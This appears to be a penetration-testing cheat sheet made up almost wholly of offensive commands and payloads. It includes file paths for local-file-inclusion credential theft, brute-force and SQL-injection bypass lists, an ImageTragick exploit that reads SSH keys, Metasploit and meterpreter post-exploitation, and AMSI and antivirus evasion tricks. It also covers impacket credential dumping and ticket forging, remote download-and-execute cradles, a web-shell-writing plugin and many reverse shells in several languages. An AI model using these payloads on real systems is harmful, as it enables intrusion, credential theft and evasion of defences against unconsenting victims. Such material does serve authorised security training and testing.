C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

wfuzz

wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php --hc '403,404'

Write to File

wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404

Custom Scan with limited Output

wfuzz -w /PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abbf378e2339d1/db/file_FUZZ.txt --sc 200 -t 20

Fuzzing two Parameters at once

wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>:/<directory>/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c

Domain

wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.<RHOST>.<tld>' -u http://<RHOST>/

Subdomain

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST>

Git

wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://<RHOST>/FUZZ --hc 403,404

Login

wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --hc 200 -c
wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --ss "Invalid login"

SQL

wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16 http://<RHOST>/select http

DNS

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: http://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100

Numbering Files

wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 http://10.13.37.11/backups/backup_2021052315FUZZ.zip

Enumerating PIDs

wfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000

WPScan

wpscan --url https://<RHOST> --disable-tls-checks
wpscan --url https://<RHOST> --disable-tls-checks --enumerate u
target=<RHOST>; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum
wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50

Database Analysis

Basic Commands

show databases;
use <DATABASE>;
show tables;
SELECT * FROM *;
mysql -u <USERNAME> -h <RHOST> -p

SQL Injection

Master List

admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-

Authentication Bypass

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

sqsh

sqsh -S <RHOST> -U <USERNAME>

SQL Truncation Attack

'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'

xpath Injection

test' or 1=1 or 'a'='a
test' or 1=2 or 'a'='a
'or substring(Password,1,1)='p' or'    # checking letter "p" on the beginning of the password
'or substring(Password,2,1)='p' or'    # checking letter "p" on the second position of the password

Password Attacks

fcrack

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip

LaZagne

laZagne.exe all

Hydra

export HYDRA_PROXY=connect://127.0.0.1:8080
unset HYDRA_PROXY

hydra <RHOST> http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -l root@localhost -P otrs-cewl.txt -vV -f

hydra -l admin -P /usr/share/wordlists/rockyou.txt <RHOST> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"

John

/usr/share/john/ssh2john.py id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --rules --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --show <FILE>

Exploitation Tools

ImageTragick Polyglot Attack

poc.svg
<image authenticate='ff" `echo $(cat /home/<USERNAME>/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

$ convert poc.svg poc.png

Metasploit

General Usage

sudo msfdb init                  // database initialization
msf6 > search                      // search within metasploit
msf6 > set RHOST <RHOST>           // set remote host
msf6 > set RPORT <RPORT>           // set remote port
msf6 > run                         // run exploit
msf6 > spool /PATH/TO/FILE         // recording screen output
msf6 > save                        // saves current state
msf6 > exploit                     // using module exploit
msf6 > payload                     // using module payload
msf6 > auxiliary                   // using module auxiliary
msf6 > encoder                     // using module encoder
msf6 > nop                         // using module nop
msf6 > show sessions               // displays all current sessions
msf6 > sessions -i 1               // switch to session 1
msf6 > db_nmap -sC <RHOST>         // using nmap
msf6 > jobs                        // showing all current jobs
msf6 > hosts                       // displaying hosts
msf6 > services                    // displaying services
msf6 > vulns                       // displaying vulnerabilities
msf6 > show payloads               // displaying available payloads
msf6 > set VERBOSE true            // enable verbose output
msf6 > set forceexploit true       // exploits the target anyways
msf6 > use post/multi/manage/shell_to_meterpreter    // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload    // use a specific module
C:\> > Ctrl + z                                  // put active meterpreter shell in background
meterpreter > background                         // put meterpreter in background (same as "bg")
meterpreter > shell                              // get a system shell
meterpreter > channel -i <ID>                    // get back to existing meterpreter shell
meterpreter > ps                                 // checking processes
meterpreter > migrate 2236                       // migrate to a process
meterpreter > getuid                             // get the user id
meterpreter > sysinfo                            // get system information
meterpreter > upload                             // uploading local files to the target
meterpreter > ipconfig                           // get network configuration
meterpreter > load kiwi                          // load mimikatz
meterpreter > getprivs                           // get privileges after loading mimikatz
meterpreter > getsystem                          // gain system privileges if user is member of administrator group
meterpreter > hashdump                           // dumps all the user hashes
meterpreter > run post/windows/gather/checkvm    // check status of the target
meterpreter > run post/multi/recon/local_exploit_suggester    // checking for exploits
meterpreter > run post/windows/manage/enable_rdp              // enables rdp
meterpreter > run post/multi/manage/autoroute                 // runs autoroutes
meterpreter > run auxiliary/server/socks4a                    // runs socks4 proxy server
meterpreter > keyscan_start                                   // enabled keylogger
meterpreter > keyscan_dump                                    // showing the output
meterpreter > screenshare                                     // realtime screen sharing
meterpreter > screenshare -q 100                              // realtime screen sharing
meterpreter > record_mic                                      // recording mic output
meterpreter > timestomp                                       // modify timestamps
meterpreter > execute -f calc.exe                             // starts a program on the victim
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1    // port forwarding

Metasploit through Proxychains

proxychains -q msfconsole

Auxiliary Output Directory

/home/kali/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txt

Meterpreter Listener

Generate Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o meterpreter_payload.exe

Setup Listener for Microsoft Windows

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run

Download Files

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <FILE>exe

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run

C:\> .\<FILE>.exe

meterpreter > download *

ShellShock

curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<RHOST>/cgi-bin/user.sh

Post Exploitation

AMSI

Test String

PS C:\> $str = 'amsiinitfailed'

Bypass

PS C:\> $str = 'ams' + 'ii' + 'nitf' + 'ailed'

AppLocker Bypass List

Bypass List (Windows 10 Build 1803):
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

autologon

powershell -c "$SecPass = Convertto-securestring 'Welcome1!' -AsPlainText -Force;$cred=New-Object System.Management.Automation.PScredential('administrator', $SecPass);Start-Process -FilePath 'C:\Users\Public\Downloads\nc.exe' -argumentlist '-e cmd <LHOST> <LPORT>' -Credential $cred"

Bash Privilege Escalation

sudo -u#-1 /bin/bash

Basic Linux Enumeration

id
sudo -l
uname -a
cat /etc/hosts
cat /etc/fstab
cat /etc/passwd
ss -tulpn
ps -auxf
ls -lahv
ls -R /home

Basic Windows Enumeration

systeminfo
whoami /all
net users
net users <USERNAME>

Evil-WinRM

sudo ruby /usr/local/bin/evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>

find Commands

find ./ -type f -exec grep --color=always -i -I 'password' {} \;

find / -group <group> 2>/dev/null

find / -user <USERNAME> 2>/dev/null
find / -user <USERNAME> -ls 2>/dev/null
find / -user <USERNAME> 2>/dev/null | grep -v proc 2>/dev/null
find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null

find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null | xargs ls -la
find / -type f -user root -perm -4000 2>/dev/null

grep for Passwords

grep -R db_passwd
grep -roiE "password.{20}"
grep -oiE "password.{20}" /etc/*.conf

Impacket

impacket-smbserver local . -smb2support
impacket-reg <RHOST>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <ACTION> <ACTION>
impacket-services <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <ACTION>
impacket-netview <RHOST>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txt
impacket-lookupsid <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-GetADUsers -all -dc-ip <RHOST> <RHOST>/
impacket-getST <RHOST>/<USERNAME> -spn WWW/<DOMAIN_CONTROLLER>.<RHOST> -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
impacket-rpcdump <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-samrdump <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-atexec -k -no-pass <RHOST>/Administrator@<DOMAIN_CONTROLLER>.<RHOST> 'type C:\PATH\TO\FILE\<FILE>'

impacket-smbclient

export KRB5CCNAME=<USERNAME>.ccache
impacket-smbclient <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-smbclient -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass

impacket-getTGT

impacket-getTGT <RHOST>/<USERNAME>:<PASSWORD>
impacket-getTGT <RHOST>/<USERNAME> -dc-ip <RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2c

impacket-GetNPUsers

impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
impacket-GetNPUsers <RHOST>/<USERNAME> -request -no-pass -dc-ip <RHOST>
impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format john -outputfile hashes

impacket-getUserSPNs / GetUserSPNs.py

export KRB5CCNAME=<USERNAME>.ccache
impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<RHOST> -no-pass -request
./GetUserSPNs.py <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<RHOST> -no-pass -request

impacket-secretsdump

export KRB5CCNAME=<USERNAME>.ccache
impacket-secretsdump <RHOST>/<USERNAME>@<RHOST>
impacket-secretsdump -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass -debug
impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash
impacket-secretsdump -dc-ip <RHOST> <RHOST>.LOCAL/svc_bes:<PASSWORD>@<RHOST>
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

impacket-psexec

impacket-psexec <USERNAME>@<RHOST>
impacket-psexec <RHOST>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18

impacket-ticketer

Requirements

Valid User
NTHASH
Domain-SID

export KRB5CCNAME=<USERNAME>.ccache
impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <RHOST> -spn MSSQLSVC/<RHOST>.<RHOST> -user-id 500 Administrator

Fixing [-] exceptions must derive from BaseException

Issue:

./GetUserSPNs.py <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <DOMAIN_CONTROLLER>.<RHOST> -no-pass -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] exceptions must derive from BaseException

How to fix it:

241         if self.__doKerberos:
242             #target = self.getMachineName()
243             target = self.__kdcHost

Juicy Potato

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00\x0a" -a x86 --platform windows -f exe -o exploit.exe

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
msf6 exploit(multi/handler) > set LPORT <LHOST>
msf6 exploit(multi/handler) > run

.\exploit.exe

PowerShell

General Usage

Allow Script Execution

PS C:\> set-executionpolicy remotesigned
PS C:\> Set-ExecutionPolicy unrestricted

Script Execution Bypass

PS C:\> powershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1

Import Module to PowerShell cmdlet

PS C:\> import-module ./<module / powershell script>

Check PowerShell Versions

PS Set-ExecutionPolicy Unrestricted
PS powershell -Command "$PSVersionTable.PSVersion"
PS powershell -c "[Environment]::Is64BitProcess"

Start offsec Session

PS /home/kali> $offsec_session = New-PSSession -ComputerName <RHOST> -Authentication Negotiate -Credential <USERNAME>
PS /home/kali> Enter-PSSession $offsec_session

PSCredential

Import-CliXml
Export-CliXml

PS C:\> powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

AntiVirus Handling

AntiVirus Bypass for Invoke-Expression (IEX)

PS C:\> <COMMAND> | & ( $PsHOme[4]+$PShoMe[30]+'x')

Explaination

$PSHome[4]     // equals "i"
$PSHome[30]    // equals "e"
+x             // adds an "x"

Alternative

PS C:\> $eNV:COmSPeC[4,15,25]-JOiN''

Explaination

$eNV:COmSPeC[4]     // equals "i"
$eNV:COmSPeC[15]    // equals "e"
$eNV:COmSPeC[25}    // equals "x"

System

Show current User

PS C:\> whoami /all
PS C:\> getuserid

Show Groups

PS C:\> whoami /groups

Get System Information

PS C:\> systeminfo

Get Process List

PS C:\> Get-Process

Get net user Information

PS C:\> net users
PS C:\> net users <USERNAME>

Get User List

PS C:\> Get-ADUser -Filter * -SearchBase "DC=<RHOST>,DC=LOCAL"

Invoke-Expression File Transfer

PS C:\> IEX(IWR http://<LHOST>/<FILE>.ps1) -UseBasicParsing)

Add new Domain Administrator

PS C:\> $PASSWORD= ConvertTo-SecureString –AsPlainText -Force -String <PASSWORD>
PS C:\> New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD
PS C:\> Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME>

Execute Commands in User Context

PS C:\> $pass = ConvertTo-SecureString "<PASSWORD>" -AsPlaintext -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $pass)
PS C:\> Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred -command {whoami}

Execute Scripts with Credentials (Reverse Shell)

PS C:\Windows\system32> $pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS C:\Windows\system32> $cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
PS C:\Windows\system32> Invoke-Command -Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<LHOST>/<FILE>.ps1') } -Credential $cred

New-PSSession

PS C:\Users\<USERNAME>\Downloads\backups> $username = "<DOMAIN>\<USERNAME>"
$username = "<DOMAIN>\<USERNAME>"
PS C:\Users\<USERNAME>\Downloads\backups> $password = "<PASSWORD>"
$password = "<PASSWORD>"
PS C:\Users\<USERNAME>\Downloads\backups> $secstr = New-Object -TypeName System.Security.SecureString
$secstr = New-Object -TypeName System.Security.SecureString
PS C:\Users\<USERNAME>\Downloads\backups> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\Users\<USERNAME>\Downloads\backups> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
PS C:\Users\<USERNAME>\Downloads\backups> new-pssession -computername . -credential $cred
new-pssession -computername . -credential $cred

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          localhost       RemoteMachine   Opened        Microsoft.PowerShell     Available

PS C:\Users\<USERNAME>\Downloads\backups> enter-pssession 1
enter-pssession 1
[localhost]: PS C:\Users\<USERNAME>\Documents> whoami
whoami
<DOMAIN>\<USERNAME>

Windows Tasks & Services

tasklist /SVC
netsh firewall show state
schtasks /query /fo LIST /v
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path

sc query
sc qc <service-name>
accesschk.exe -uws "Everyone" "C:\Program Files"

dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt

wmic qfe get Caption,Description,HotFixID,InstalledOn    # no new patches - KEXP pretty likely

Writeable Directories in Linux

/dev/shm
/tmp

Payloads

Reverse Shells

Bash Reverse Shell

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64

curl Reverse Shell

curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

$ r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

shell.jar

package <NAME>;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class Main extends JavaPlugin {
   @Override
   public void onDisable() {
     super.onDisable();
   }

@Override
public void onEnable() {
  final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
  try {
   Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW);
   } catch (IOException e) {
     e.printStackTrace();
   }

   super.onEnable();
  }
}

Lua Reverse Shell

http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")--

Markdown Reverse Shell

--';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'--

mkfifo Reverse Shell

mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell

Netcat Reverse Shell

nc -e /bin/sh <LHOST> <LPORT>

Perl Reverse Shell

perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP Reverse Shell

php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

minireverse.ps1

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	}
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
	if(!$out.equals("exit")){
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
			}
			else{
				$res = (&"$out" "$args") | out-string;
			}
		}
		else{
			$res = (&"$out") | out-string;
		}
		if($res -ne $null){
        $writer.WriteLine($res)
    }
	}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'

